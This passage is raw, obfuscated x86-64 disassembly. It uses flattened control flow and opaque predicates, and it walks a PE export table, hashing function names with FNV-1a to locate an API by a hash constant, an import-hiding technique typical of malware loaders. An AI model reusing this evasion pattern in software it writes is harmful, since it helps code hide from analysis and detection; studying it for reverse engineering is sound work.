and eax, 0xdbd780fa
or r11d, r15d
and r15d, 0x24287f05
or r15d, 0x43d68078
xor r15d, eax
xor r15d, ecx
xor r15d, 0x98010082
and r15d, r11d
or r15d, edx
or r15d, ebx
mov eax, r10d
and eax, 0x3089a
mov ecx, r14d
and ecx, 0x804000
or ecx, eax
xor ecx, 0x10804204
xor r10d, 0xe0342421
and r10d, r14d
or r10d, ecx
mov esi, r10d
xor esi, 0xef7cb561
mov eax, r10d
and eax, 0x30240e
mov ecx, esi
and ecx, 0xf1cfcab1
or ecx, eax
mov eax, ecx
xor eax, 0xe303540
mov ebx, eax
and ebx, 0x74b34cb1
and ecx, 0x814ca20e
or ecx, ebx
or eax, 0xa45bbedf
mov edx, ecx
xor edx, 0x51a47060
and edx, eax
mov eax, r12d
and eax, 0xa45bbedf
or eax, 0x1b044100
mov r8d, r12d
and r8d, 0x5ba44120
xor r8d, eax
mov eax, edx
not eax
and ecx, 0x18000
mov r9d, edx
and r9d, 0x10c048b0
mov ebx, eax
and ebx, 0xec26020a
mov edi, edx
and edi, 0x1182445
or edi, ecx
lea ecx, [rbx + r9]
add ebx, r9d
add ebx, 0x2018000
and r14d, 0x40a44020
xor ebx, edi
mov edi, r14d
xor edi, 0xfce65bba
xor ecx, 0xec26120a
and ecx, edi
mov edi, edx
and edi, 0x718c06f1
and eax, 0x8473e80e
or eax, edi
or edx, r14d
xor eax, r14d
lea edi, [r14 + 0x319a445]
xor ebx, 0x281c020
and edi, ebx
xor eax, 0x718c06f1
and eax, edx
or eax, ecx
or eax, edi
mov ecx, r8d
xor ecx, 0xbf5fffdf
xor r8d, 0x40a00020
and r8d, eax
not eax
and eax, ecx
mov ecx, r10d
and r10d, 0xc09208a5
and esi, 0x3a25f71a
or esi, r10d
xor ecx, r12d
xor esi, r12d
mov ebx, r12d
not ebx
or eax, r8d
mov r8d, dword [rbp + 0x44c]
xor ecx, 0xef7cb561
and ecx, ebx
xor esi, 0x3aa7ff9e
or esi, ecx
mov ecx, esi
and ecx, 0xd49ab90b
mov edx, esi
and edx, 0x2b6546f4
or edx, 0x4412a808
xor edx, ecx
mov ecx, edx
xor ecx, 0x6f77eefc
mov ebx, eax
xor ebx, 0x2b6546f4
and ebx, ecx
not esi
and esi, eax
xor eax, 0xd49ab90b
xor edx, 0x90881103
and edx, eax
or esi, edx
or esi, ebx
xor esi, r15d
imul eax, esi, 0x1000193
mov dword [rbp + 0x4d0], eax
mov eax, dword [rbp + 0x450]
mov r15, qword [rbp + 0x400]
mov r9d, dword [rbp + 0x3e0]
mov edi, dword [rbp + 0x3e8]
mov esi, dword [rbp + 0x48c]
mov r10d, dword [rbp + 0x490]
jmp 0x1400805a0
cmp eax, 0x581f37ef
jle 0x1400822a0
cmp eax, 0x581f37f0
je 0x140082317
cmp eax, 0x5c59f878
je 0x140082330
cmp eax, 0x7694ece2
jne 0x1400805a0
test byte [rbp + 0x438], 1
movsx eax, byte [rbp + 0x4ee]
mov ecx, dword [rbp + 0x4e8]
sete byte [rbp + 0x4bc]
cmp dword [rbp + 0x4c0], 0xa
setl byte [rbp + 0x4ac]
mov ecx, 0x462bec05
jmp 0x140082173
cmp ecx, 0x22c0f4b1
jne 0x140082256
mov ecx, dword [rbp + 0x4c8]
mov ecx, 0x1f53ad1b
cmp ecx, 0x3117fdc3
jle 0x1400821c0
cmp ecx, 0x58a11e18
jg 0x1400821e0
cmp ecx, 0x3117fdc4
je 0x1400821fe
cmp ecx, 0x462bec05
jne 0x140082173
movzx edx, byte [rbp + 0x4bc]
cmp byte [rbp + 0x4ac], 0
mov ebx, 0x3117fdc4
mov ecx, 0x3117fdc4
jne 0x1400821b2
mov ecx, 0x71946ac1
test dl, dl
cmovne ecx, ebx
jmp 0x140082173
cmp ecx, 0x1f53ad1a
jg 0x14008215c
cmp ecx, 0x8353906e
je 0x14008221c
cmp ecx, 0xb9e70da7
je 0x140082168
jmp 0x140082173
cmp ecx, 0x58a11e19
je 0x140082238
cmp ecx, 0x71946ac1
jne 0x140082173
mov ecx, 0x3117fdc4
jmp 0x140082173
mov dword [rbp + 0x4c8], eax
mov ecx, dword [rbp + 0x4c8]
cmp ecx, 0x41
setge byte [rbp + 0x484]
mov ecx, r8d
jmp 0x140082173
cmp byte [rbp + 0x484], 0
mov ecx, 0x58a11e19
jne 0x140082173
mov ecx, 0x22c0f4b1
jmp 0x140082173
mov edx, dword [rbp + 0x4c8]
mov ecx, 0xb9e70da7
cmp edx, 0x5b
jl 0x140082173
mov ecx, 0x22c0f4b1
jmp 0x140082173
cmp ecx, 0x1f53ad1b
jne 0x140082173
mov eax, 0x9fdcb46a
jmp 0x1400805a0
cmp eax, 0xbd0b03e6
je 0x140082360
cmp eax, 0xe59fd857
jne 0x140082385
mov r9d, dword [rbp + 0x4d0]
mov eax, 0x5c59f878
xor edi, edi
mov esi, dword [rbp + 0x4a4]
jmp 0x1400805a0
cmp eax, 0x17954bb8
je 0x140080587
cmp eax, 0x2f530768
jne 0x1400805a0
mov eax, dword [rbp + 0x454]
jmp 0x1400805a0
mov r9d, dword [rbp + 0x4e8]
mov eax, 0x5c59f878
mov edi, 1
mov esi, dword [rbp + 0x4e8]
jmp 0x1400805a0
mov rax, qword [rbp + 0x468]
add rax, 1
mov qword [rbp + 0x4d8], rax
mov rax, qword [rbp + 0x468]
mov al, byte [rax]
mov byte [rbp + 0x4ee], al
cmp byte [rbp + 0x4ee], 0
setne byte [rbp + 0x4ef]
mov eax, dword [rbp + 0x4c4]
jmp 0x1400805a0
cmp byte [rbp + 0x4ef], 0
mov eax, 0x87ce9d3c
mov ecx, 0x2f530768
cmovne eax, ecx
jmp 0x1400805a0
mov dword [rbp + 0x430], esi
test edi, edi
mov eax, 0xc6b502bf
mov ecx, 0xbd0b03e6
cmove eax, ecx
mov r15, qword [rbp + 0x4d8]
mov ecx, dword [rbp + 0x430]
mov dword [rbp + 0x488], ecx
mov r10d, r9d
jmp 0x1400805a0
mov eax, dword [rbp + 0x488]
mov dword [rbp + 0x4a4], eax
mov dword [rbp + 0x4e8], r10d
mov qword [rbp + 0x468], r15
mov eax, dword [rbp + 0x448]
jmp 0x1400805a0
cmp eax, 0xc6b502bf
jne 0x1400805a0
mov eax, dword [rbp + 0x430]
cmp eax, 0x484ace07
mov eax, 0xfdc56461
mov ecx, 0x2f7a9bce
cmove eax, ecx
jmp 0x140080030
lea rax, [rbp - 0x50]
mov qword [rbp + 0x420], rax
mov rax, qword [rbp + 0x420]
mov rax, qword [rbp + 0x408]
mov qword [rbp - 0x50], rax
mov eax, dword [0x1400f2740]
mov ecx, dword [0x1400f2744]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x4c8]
sete r8b
cmp ecx, 0xa
setge cl
setl dl
setl byte [rbp + 0x4d8]
mov eax, edx
xor al, r8b
or dl, r8b
mov ebx, eax
xor bl, 1
or cl, r8b
and cl, bl
xor cl, dl
mov ebx, 0xf5647b0b
mov ecx, 0x1be0c2cb
cmovne ebx, ecx
test al, al
mov eax, 0xf5647b0b
cmovne ebx, eax
mov edx, 0x45f0e8c0
nop word [rax + rax]
cmp edx, 0x1be0c2ca
jg 0x140082450
cmp edx, 0xd6cac8db
je 0x140082482
cmp edx, 0xf5647b0b
jne 0x140082430
jmp 0x14008253b
cmp edx, 0x1be0c2cb
je 0x140082494
cmp edx, 0x45f0e8c0
jne 0x140082430
movzx eax, byte [rbp + 0x4c8]
cmp byte [rbp + 0x4d8], 0
mov edx, 0x1be0c2cb
mov edi, 0xd6cac8db
cmovne edx, edi
test al, al
cmovne edx, edi
jmp 0x140082430
mov rax, qword [rbp + 0x408]
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
mov edx, ebx
jmp 0x140082430
mov edx, 0xd6cac8db
jmp 0x140082430
mov eax, dword [rbp + 0x4a8]
mov eax, 0xa6b69c53
jmp 0x140080030
mov rax, qword [rbp - 0x48]
mov ecx, dword [rbp + 0x4a8]
cmp ecx, dword [rax + 0x18]
sete byte [rbp + 0x4ed]
mov eax, dword [0x1400f2730]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1400f2734], 0xa
setge cl
setl r8b
mov edx, r8d
xor dl, al
mov ebx, edx
xor bl, 1
and cl, al
or bl, cl
xor bl, dl
xor cl, dl
mov edx, ebx
not dl
or dl, cl
and r8b, al
xor dl, r8b
test dl, 1
mov ecx, 0x49028e28
mov eax, 0x955956c9
cmovne ecx, eax
test bl, bl
mov eax, 0x955956c9
cmovne eax, ecx
test r8b, r8b
cmove eax, ecx
jmp 0x140080030
mov eax, dword [rbp + 0x4a8]
add eax, 1
mov dword [rbp + 0x494], eax
mov eax, 0xa223f304
jmp 0x140080030
mov qword [rbp + 0x468], rcx
mov rcx, qword [rbp + 0x468]
mov r8d, dword [rcx + 0x88]
mov r9d, dword [rcx + 0x8c]
mov r10, r8
add r10, qword [rbp + 0x408]
mov ebx, dword [0x1400f2748]
mov edi, dword [0x1400f274c]
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
sete bl
sete byte [rbp + 0x4c8]
cmp edi, 0xa
setge al
setl byte [rbp + 0x4d8]
setl dl
mov ecx, edx
or sil, dl
and dl, bl
xor cl, bl
and al, bl
xor al, cl
mov ebx, esi
xor bl, 1
and bl, al
xor al, 1
test sil, sil
movzx eax, al
movzx ecx, cl
cmove ecx, eax
or bl, cl
mov eax, edx
or al, bl
and cl, dl
xor cl, dl
xor cl, al
mov eax, edx
xor al, bl
test cl, 1
mov ecx, 0x80d5946
mov edi, 0xbfa4195b
cmovne ecx, edi
mov qword [rbp - 0x48], r10
test bl, bl
mov ebx, ecx
mov esi, 0x80d5946
cmovne ebx, esi
mov dword [rbp - 0x40], r9d
test dl, dl
cmovne ebx, ecx
test al, 1
cmovne ebx, edi
mov ecx, 0x97bfe48f
nop word cs:[rax + rax]
nop
cmp ecx, 0xfb599b2d
jg 0x140082620
cmp ecx, 0x97bfe48f
je 0x140082637
cmp ecx, 0xbfa4195b
jne 0x140082600
jmp 0x140082668
cmp ecx, 0xfb599b2e
je 0x140082664
cmp ecx, 0x80d5946
jne 0x140082600
mov ecx, 0xfb599b2e
jmp 0x140082600
movzx eax, byte [rbp + 0x4c8]
movzx ecx, byte [rbp + 0x4d8]
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0x80d5946
mov edi, 0xfb599b2e
cmovne ecx, edi
test al, al
cmovne ecx, edi
test dl, dl
cmovne ecx, edi
jmp 0x140082600
mov ecx, ebx
jmp 0x140082600
test r8d, r8d
setne byte [rbp + 0x468]
cmp byte [rbp + 0x468], 0
mov eax, 0x3673769e
mov ecx, 0xe7ddab48
cmovne eax, ecx
jmp 0x140080030
mov eax, ecx
cmp ecx, 0xd3efdb13
jne 0x140080030
mov rax, qword [rbp + 0x428]
mov rcx, qword [rbp + 0x3f8]
mov qword [rax], rcx
mov eax, 0x47171e81
jmp 0x14007ffe0
lea rax, [0x1400f2118]
mov qword [rbp + 0x428], rax
mov rax, qword [rbp + 0x428]
mov rax, qword [rax]
mov qword [rbp + 0x458], rax
mov eax, 0xc831482b
nop dword [rax + rax]
cmp eax, 0x47171e81
je 0x140084df2
cmp eax, 0xfedc7e55
je 0x140082710
cmp eax, 0xc831482b
jne 0x1400826e0
cmp qword [rbp + 0x458], 0
mov eax, 0x47171e81
mov ecx, 0xfedc7e55
cmove eax, ecx
jmp 0x1400826e0
mov eax, 0xf096ec8f
jmp 0x140082730
mov eax, 0xf4f3728d
xor ecx, ecx
mov qword [rbp + 0x418], rcx
nop word cs:[rax + rax]
nop
mov ecx, eax
cmp eax, 0xfdc56460
jg 0x140082790
cmp ecx, 0xe4d7019d
jle 0x140082800
cmp ecx, 0xf096ec8e
jg 0x1400828bc
cmp ecx, 0xe4d7019e
je 0x140082a33
cmp ecx, 0xe7ddab48
je 0x140082a3d
mov eax, ecx
cmp ecx, 0xef446db0
jne 0x140082730
mov eax, 0xd3efdb13
xor ecx, ecx
mov qword [rbp + 0x3f8], rcx
jmp 0x140082730
cmp ecx, 0x2f7a9bcd
jle 0x140082880
cmp ecx, 0x3cf8dfa7
jg 0x140082953
cmp ecx, 0x2f7a9bce
je 0x140082a51
cmp ecx, 0x3673769e
je 0x140082717
mov eax, ecx
cmp ecx, 0x3cd3d0fb
jne 0x140082730
cmp dword [rbp + 0x464], 2
mov eax, 0xf4f3728d
mov ecx, 0xf15ebf89
cmove eax, ecx
mov rcx, qword [rbp + 0x3d8]
mov qword [rbp + 0x418], rcx
jmp 0x140082730
cmp ecx, 0xa6b69c52
jg 0x1400829a4
cmp ecx, 0x955956c9
je 0x140082a90
cmp ecx, 0x9787c234
je 0x140082aa9
mov eax, ecx
cmp ecx, 0xa223f304
jne 0x140082730
mov eax, dword [0x1400f2730]
mov ecx, dword [0x1400f2734]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp ecx, 0xa
setl bl
xor bl, al
mov eax, 0x49028e28
mov ebx, 0xa6b69c53
cmovne eax, ebx
test dl, 1
cmove eax, ebx
cmp ecx, 0xa
mov ecx, dword [rbp + 0x494]
mov dword [rbp + 0x4a8], ecx
cmovl eax, ebx
jmp 0x140082730
cmp ecx, 0x6d3192d
jle 0x1400829d4
cmp ecx, 0x6d3192e
je 0x140082aee
cmp ecx, 0xb7ab891
je 0x140082b02
mov eax, ecx
cmp ecx, 0x250c805a
jne 0x140082730
mov eax, 0x573755e2
jmp 0x140082730
mov eax, dword [rbp + 0x3f0]
cmp ecx, 0xf096ec8f
je 0x140082730
cmp ecx, 0xf15ebf89
je 0x140082717
mov eax, ecx
cmp ecx, 0xf4f3728d
jne 0x140082730
mov rax, qword [rbp + 0x418]
mov qword [rbp + 0x498], rax
mov rax, qword [rbp + 0x420]
mov eax, dword [0x1400f2730]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1400f2734], 0xa
setge cl
setl dl
mov ebx, edx
xor bl, al
and dl, al
or cl, al
xor dl, cl
xor dl, bl
and cl, bl
or cl, dl
mov eax, ebx
xor al, cl
mov edx, 0x9787c234
mov eax, 0xe4d7019e
cmovne edx, eax
test bl, bl
mov eax, edx
mov ebx, 0x9787c234
cmovne eax, ebx
test cl, cl
cmovne eax, edx
jmp 0x140082730
cmp ecx, 0x3cf8dfa8
je 0x140084a8d
cmp ecx, 0x49028e28
je 0x140084b7b
mov eax, ecx
cmp ecx, 0x573755e2
jne 0x140082730
mov eax, dword [0x1400f2730]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x250c805a
mov ecx, 0xef446db0
cmove eax, ecx
cmp dword [0x1400f2734], 0xa
cmovl eax, ecx
jmp 0x140082730
cmp ecx, 0xa6b69c53
je 0x140084b8b
cmp ecx, 0xaf1eb1d7
jne 0x140084d6b
mov eax, 0xd3efdb13
mov rcx, qword [rbp + 0x498]
mov qword [rbp + 0x3f8], rcx
jmp 0x140082730
cmp ecx, 0xfdc56461
je 0x140084c02
mov eax, ecx
cmp ecx, 0xff49b602
jne 0x140082730
mov eax, dword [0x1400f2730]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x1400f2734], 0xa
setge dl
setl al
mov ebx, eax
and cl, al
xor al, r8b
and bl, r8b
xor cl, bl
or dl, r8b
and dl, al
xor dl, cl
mov eax, 0x250c805a
mov ecx, 0x573755e2
cmovne eax, ecx
jmp 0x140082730
mov eax, 0x9787c234
jmp 0x140082730
mov eax, 0xa223f304
mov dword [rbp + 0x494], 0
jmp 0x140082730
mov eax, dword [rbp + 0x4a8]
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x48]
mov ebx, dword [rdx + 0x1c]
mov edx, dword [rdx + 0x24]
add rbx, rcx
add rdx, rcx
movzx eax, word [rdx + rax*2]
mov eax, dword [rbx + rax*4]
add rax, rcx
mov qword [rbp + 0x3d8], rax
mov eax, 0x3cd3d0fb
mov dword [rbp + 0x464], 1
jmp 0x140082730
cmp byte [rbp + 0x4ed], 0
mov eax, 0xb7ab891
mov ecx, 0x6d3192e
cmovne eax, ecx
jmp 0x140082730
mov eax, dword [0x1400f2730]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r8b
cmp dword [0x1400f2734], 0xa
setge dl
setl bl
mov eax, ebx
and al, r8b
or cl, bl
xor bl, r8b
and bl, cl
and dl, r8b
xor dl, al
xor dl, bl
mov eax, 0xe4d7019e
mov ecx, 0xaf1eb1d7
cmovne eax, ecx
jmp 0x140082730
mov eax, 0x3cd3d0fb
mov dword [rbp + 0x464], 2
jmp 0x140082730
mov ecx, dword [0x1400f2738]
mov eax, dword [0x1400f273c]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
sete r8b
cmp eax, 0xa
setl r9b
mov ecx, r9d
xor cl, r8b
mov ebx, edx
and bl, r9b
xor bl, cl
mov ebx, 0x17954bb8
mov esi, 0x9b012d00
cmovne ebx, esi
test edx, edx
mov edi, 0x9b012d00
cmove edi, ebx
cmp eax, 0xa
cmovl edi, esi
test cl, cl
cmove edi, ebx
test edx, edx
mov edx, 0x581f37f0
mov ecx, 0x17954bb8
cmovne edx, ecx
mov ebx, edi
cmove ebx, esi
cmp eax, 0xa
mov eax, dword [0x1400f2710]
mov esi, dword [0x1400f2714]
mov ecx, 0x581f37f0
cmovl edx, ecx
mov dword [rbp + 0x4c4], edx
cmovge ebx, edi
mov dword [rbp + 0x448], ebx
lea r15d, [rax - 1]
imul r15d, eax
mov r14d, r15d
and r14d, 1
sete r10b
mov dword [rbp + 0x438], esi
cmp esi, 0xa
setge al
setl r11b
mov ebx, r11d
xor bl, r10b
mov edx, ebx
xor dl, 1
and r14b, r11b
or r14b, dl
xor r14b, bl
mov edx, r14d
xor dl, 1
and al, r10b
or al, dl
or r11b, r10b
xor r11b, bl
mov ebx, r11d
xor bl, al
mov edx, ebx
not dl
mov ecx, r11d
not cl
and cl, al
or cl, dl
xor al, 1
or al, r11b
xor cl, al
test cl, 1
mov edx, 0x8353906e
mov esi, 0x71946ac1
cmovne edx, esi
test bl, 1
mov ebx, 0x71946ac1
cmovne ebx, edx
test al, 1
cmove ebx, edx
test cl, 1
mov eax, dword [rbp + 0x4a8]
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x48]
mov esi, 0x8353906e
cmovne ebx, esi
mov edx, dword [rdx + 0x20]
add rdx, rcx
mov r10d, dword [rdx + rax*4]
add r10, rcx
test r14b, r14b
mov eax, 0x8353906e
cmovne eax, ebx
test r11b, r11b
cmove eax, ebx
mov dword [rbp + 0x4c0], eax
or r9b, r8b
mov ecx, 0x7694ece2
mov eax, 0xe59fd857
cmovne ecx, eax
mov dword [rbp + 0x450], ecx
mov ecx, 0x7694ece2
mov eax, 0x9fdcb46a
cmovne ecx, eax
mov dword [rbp + 0x454], ecx
mov eax, 0xbd0b03e6
mov r9d, 0x811c9dc5
mov dword [rbp + 0x44c], r15d
jmp 0x140082ca0
mov rax, qword [rbp + 0x468]
mov rax, qword [rbp + 0x468]
mov eax, 0x9b012d00
nop dword [rax]
cmp eax, 0x17954bb7
jg 0x1400847e0
cmp eax, 0xbd0b03e5
jg 0x140084950
cmp eax, 0x87ce9d3c
je 0x1400849a1
cmp eax, 0x9b012d00
je 0x1400849bd
cmp eax, 0x9fdcb46a
jne 0x140082ca0
mov dword [rbp + 0x490], r9d
mov dword [rbp + 0x48c], edi
mov dword [rbp + 0x3e8], esi
mov dword [rbp + 0x3e0], r8d
mov qword [rbp + 0x400], r10
test r15b, 1
movsx r15d, byte [rbp + 0x4ee]
mov r13d, dword [rbp + 0x4e8]
sete byte [rbp + 0x4bc]
cmp dword [rbp + 0x438], 0xa
setl byte [rbp + 0x4ac]
mov eax, 0x462bec05
jmp 0x140082d40
cmp byte [rbp + 0x484], 0
mov eax, 0x22c0f4b1
mov ecx, 0x58a11e19
cmovne eax, ecx
nop word [rax + rax]
cmp eax, 0x3117fdc3
jle 0x140082d90
cmp eax, 0x58a11e18
jg 0x140083770
cmp eax, 0x3117fdc4
je 0x1400837a4
cmp eax, 0x462bec05
jne 0x140082d40
movzx ecx, byte [rbp + 0x4bc]
cmp byte [rbp + 0x4ac], 0
mov eax, 0x71946ac1
mov edx, 0x3117fdc4
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x140082d40
cmp eax, 0x1f53ad1a
jg 0x14008378c
cmp eax, 0x8353906e
je 0x140082d23
cmp eax, 0xb9e70da7
jne 0x140082d40
mov r11d, dword [rbp + 0x4c8]
mov eax, r11d
and eax, 0x300d32eb
or eax, 0x8922c414
mov edx, r11d
and edx, 0xcff2cd14
xor edx, eax
mov eax, edx
xor eax, 0x76dd3beb
mov ecx, edx
xor ecx, 0x8922c414
or ecx, eax
xor edx, 0x9f2d3869
and edx, ecx
xor edx, 0x160ffc7d
and edx, ecx
mov eax, edx
and eax, 0xe1770bb
mov r12d, edx
and r12d, 0xf1e88f44
or r12d, 0x6022002
xor r12d, eax
xor r12d, 0x81550b9
or r12d, edx
mov eax, r11d
and eax, 0x6098fcd3
or eax, 0xf210028
mov ecx, r11d
and ecx, 0x9f67032c
xor ecx, eax
mov ebx, ecx
xor ebx, 0x1367093
mov edx, ecx
or edx, 0xf1e88f44
xor edx, 0xffe98f6c
or edx, ebx
mov ebx, ecx
xor ebx, 0xfec98f6c
or ebx, edx
xor edx, ecx
xor edx, 0x1367093
and edx, ebx
mov ecx, r12d
and ecx, 0xee181f2d
mov ebx, r12d
and ebx, 0x11e7e0d2
or ebx, 0x6000808
xor ebx, ecx
mov ecx, edx
mov eax, edx
not r12d
and r12d, edx
xor edx, 0x11e7e0d2
xor ecx, 0xb4b1d84f
and ecx, edx
or eax, 0x5aa9c762
xor eax, 0xfeb9df6f
or eax, ecx
mov ecx, ebx
xor ecx, 0x4d4e2fb8
xor ebx, 0xb2b1d047
and ebx, eax
not eax
and eax, ecx
or r12d, eax
or r12d, ebx
not r12d
mov eax, r12d
and eax, 0xa4519b98
and r12d, 0x5bae6467
or r12d, 0x84109000
xor r12d, eax
mov eax, r12d
xor eax, 0xdfbef467
mov r9d, r12d
and r9d, 0x5dfaf697
xor r12d, 0x824402f0
and r12d, eax
mov eax, r9d
xor eax, r12d
xor eax, 0x400290
xor r9d, 0x400290
and r9d, r12d
or r9d, eax
mov r8d, r9d
xor r8d, 0xf7bc1db4
mov ecx, r9d
or ecx, 0xe66cfdeb
mov eax, ecx
xor eax, 0xee6fffeb
mov edx, r9d
and edx, 0x19930214
xor edx, 0x8030200
mov esi, r9d
xor esi, 0x11d0e05f
or esi, edx
mov edi, esi
not edi
and edi, eax
and ecx, 0xc2df5143
and eax, 0x19000214
or eax, ecx
xor eax, esi
mov edx, edi
xor edx, eax
xor edx, 0x3db0aebc
xor eax, 0x19900214
and eax, edi
mov ecx, edx
and ecx, 0xe66cfdeb
and edx, 0x19930214
or edx, eax
or edx, ecx
mov ebx, edx
and ebx, 0xecc1695
mov ecx, edx
xor ecx, 0xe8a0eb7e
mov r14d, ebx
xor r14d, 0xf9b3eb7e
mov eax, edx
xor eax, 0x175f1481
mov edi, ebx
xor edi, 0x844653a6
and edi, r14d
or ebx, 0x820a4727
mov esi, edx
or esi, 0x7df5b8d8
xor esi, 0x7fffbcd9
mov r10d, edx
xor r10d, 0x6aaaac59
and r10d, ecx
or r10d, esi
mov ecx, ebx
and ecx, 0x888217a6
and edx, 0x4440010
or edx, ecx
xor ebx, 0x864e57a7
and ebx, edi
and edi, 0xecc5695
xor edi, edx
xor edi, 0x4441684
or ebx, edi
xor ebx, r10d
or eax, r14d
mov ecx, eax
and ecx, 0xecc1695
xor ecx, ebx
xor ecx, 0xecc1695
not eax
and eax, ebx
or eax, ecx
mov ebx, eax
and ebx, 0x3d6ad4f5
mov r14d, eax
and r14d, 0xc2940808
mov edx, eax
or edx, 0xc2952b0a
mov edi, eax
and edi, 0xc2952b0a
mov r10d, ebx
xor r10d, 0x1501f783
and r10d, edx
xor ebx, 0x3d6ad4f5
mov ecx, ebx
and ecx, 0x354014c4
and edx, 0x4a2ee339
or edx, ecx
or ebx, edi
xor edx, edi
not edi
mov ecx, eax
or ecx, 0xeaff2b7e
and edi, 0x286b2376
or edi, r14d
mov esi, ecx
and esi, 0x8febd69e
and eax, 0x10000001
or eax, esi
not ecx
and ecx, r10d
and r10d, 0x3d6af7f5
xor r10d, eax
xor r10d, 0x9fead69d
or ecx, r10d
xor ecx, edi
xor edx, 0xb5d11cc6
and edx, ebx
or edx, ecx
mov eax, edx
and eax, 0xd25c9294
or eax, 0x28034442
and edx, 0x2da36d6b
xor edx, eax
mov eax, edx
xor eax, 0x156990b7
mov ecx, edx
xor ecx, 0xea966f48
or ecx, eax
xor edx, 0x60a362d4
and edx, ecx
mov eax, edx
xor eax, 0x8a350d9c
or eax, ecx
xor edx, ecx
xor edx, 0x75caf263
and edx, eax
mov eax, r11d
and eax, 0xbae01e84
mov ecx, r11d
and ecx, 0x451fe17b
or ecx, 0x98801e04
xor ecx, eax
mov eax, r11d
and eax, 0x80000
mov ebx, ecx
and ebx, 0xb4240811
and ecx, 0x4bd3f7ee
add eax, ebx
add eax, 0x52e686
xor eax, ecx
and r11d, 0xf133e96a
mov ebx, r11d
xor r11d, eax
xor eax, 0x9012e802
xor ebx, 0xf133e96a
and ebx, eax
xor r11d, 0x672d077d
or ebx, r11d
mov r14d, ebx
not r14d
and r14d, edx
mov r10d, edx
or r10d, 0x8e000724
mov ecx, edx
and ecx, 0x8e000724
and r11d, 0xc000004
mov eax, ebx
and eax, 0x82000720
or eax, r11d
mov edi, edx
xor edi, 0x8a000104
and edi, ecx
not ecx
mov r11d, r10d
and r11d, 0xfb0fa016
mov esi, ecx
and esi, 0xea028104
or edi, esi
mov esi, edx
and esi, 0xf058c9
or esi, r11d
xor esi, edi
xor esi, 0x11fd79db
mov edi, edx
and edi, 0x609ee042
and r10d, 0x9f611a9d
or r10d, edi
mov edi, edx
and edi, 0x520
and ecx, 0x9f611a9d
add ecx, edi
add ecx, 0x609ee042
xor ecx, r10d
xor edx, 0x8e000724
or edx, ecx
not edx
or edx, esi
mov ecx, eax
and ecx, 0x6000000
and ebx, 0x71fff8db
or ebx, ecx
or eax, 0x262e5009
xor eax, ebx
mov ecx, eax
xor ecx, 0xa82e572d
xor eax, 0x57d1a8d2
and eax, edx
not edx
and edx, ecx
or eax, edx
mov ecx, r14d
and ecx, 0xc64177d6
or ecx, 0x39268801
mov edi, r14d
and edi, 0x39be8829
xor edi, ecx
mov ecx, edi
xor ecx, 0xff67ffd7
mov edx, eax
xor edx, 0x39be8829
or edx, ecx
xor edi, eax
xor edi, 0x39268801
and edi, ecx
xor edi, edx
not edi
and eax, r14d
mov ecx, eax
and ecx, 0xa32261d0
or ecx, 0x10999806
mov edx, eax
and edx, 0x5cdd9e2f
xor edx, ecx
xor edx, edi
and eax, edi
mov ecx, edx
xor ecx, eax
xor ecx, 0x10999806
xor edx, 0x10999806
and edx, eax
or edx, ecx
mov eax, edx
mov r10d, edx
mov edi, edx
mov r14d, edx
mov ecx, edx
and ecx, 0x310718ea
or ecx, 0x6f8a511
mov r11d, edx
and r11d, 0xcef8e715
xor r11d, ecx
mov ecx, r11d
xor ecx, 0xf7cb4c5b
or ecx, edx
xor r11d, edx
and edx, 0x190a9b13
or eax, 0xe6f564ec
and r10d, 0xe6f564ec
mov ebx, edx
xor ebx, 0xc026d4ea
and ebx, eax
or edi, 0xfffd6ffd
mov esi, edi
and esi, 0xb0495454
and r14d, 0x28002
or r14d, esi
not edi
and edi, ebx
and ebx, 0x592e9bbb
xor ebx, r14d
xor ebx, 0x304b9016
or edi, ebx
xor edi, r10d
xor edi, 0xd92c4ff9
xor edx, 0x190a9b13
mov esi, edx
and esi, 0x21101
and eax, 0xddf8ce1a
or eax, esi
or edx, r10d
xor eax, r10d
xor eax, 0x220731e5
and eax, edx
or eax, edi
mov edx, eax
xor edx, 0x190a9b13
xor eax, 0x17c68da6
or eax, edx
xor r11d, 0x834b3a4
and r11d, ecx
mov ecx, eax
not ecx
and ecx, r11d
xor r11d, eax
xor r11d, ecx
mov esi, r9d
xor esi, 0x843e24b
mov eax, r9d
mov r10d, r9d
mov ebx, r9d
mov edx, r9d
and edx, 0xf4e5e31e
xor r9d, 0x359feaa
and r9d, r8d
mov ecx, edx
xor ecx, r9d
xor ecx, 0x41e20a
xor edx, 0x41e20a
and edx, r9d
or edx, ecx
mov ecx, edx
xor ecx, 0x6653709e
and ecx, esi
or esi, r8d
and r12d, 0x82000820
and eax, 0x1098338a
or eax, r12d
and r10d, 0x6d67c455
or r10d, eax
mov eax, r10d
xor eax, 0x6524261e
mov edi, esi
and edi, 0x6d67c455
xor ebx, esi
and esi, 0x92983baa
or esi, 0x64244445
xor esi, edi
mov edi, esi
xor edi, 0xf6bc7fef
xor r10d, 0x9adbd9e1
and r10d, edi
xor esi, 0x9438010
and esi, eax
xor ebx, 0xf7bc1db4
or ebx, r8d
not ebx
or ebx, esi
or ebx, r10d
mov r9d, ebx
not r9d
mov edi, ebx
and edi, 0x6d496c7f
mov esi, edx
xor esi, 0x99ac8f61
and esi, r8d
or esi, ecx
xor edx, esi
xor edx, 0x6653709e
and edx, esi
mov ecx, ebx
xor ecx, 0x5014c23
and ecx, edi
and edi, edx
mov eax, ebx
and eax, 0x5014c23
xor eax, ecx
xor eax, 0x85b5cfa3
and ecx, 0x5014c23
or ecx, eax
mov eax, edx
and eax, 0x85b5cfa3
or eax, 0x840004c
and edx, 0x7a4a305c
xor edx, eax
xor edx, ecx
mov eax, edx
mov ecx, edi
xor ecx, edx
xor ecx, 0x720a3010
mov esi, ecx
and esi, edi
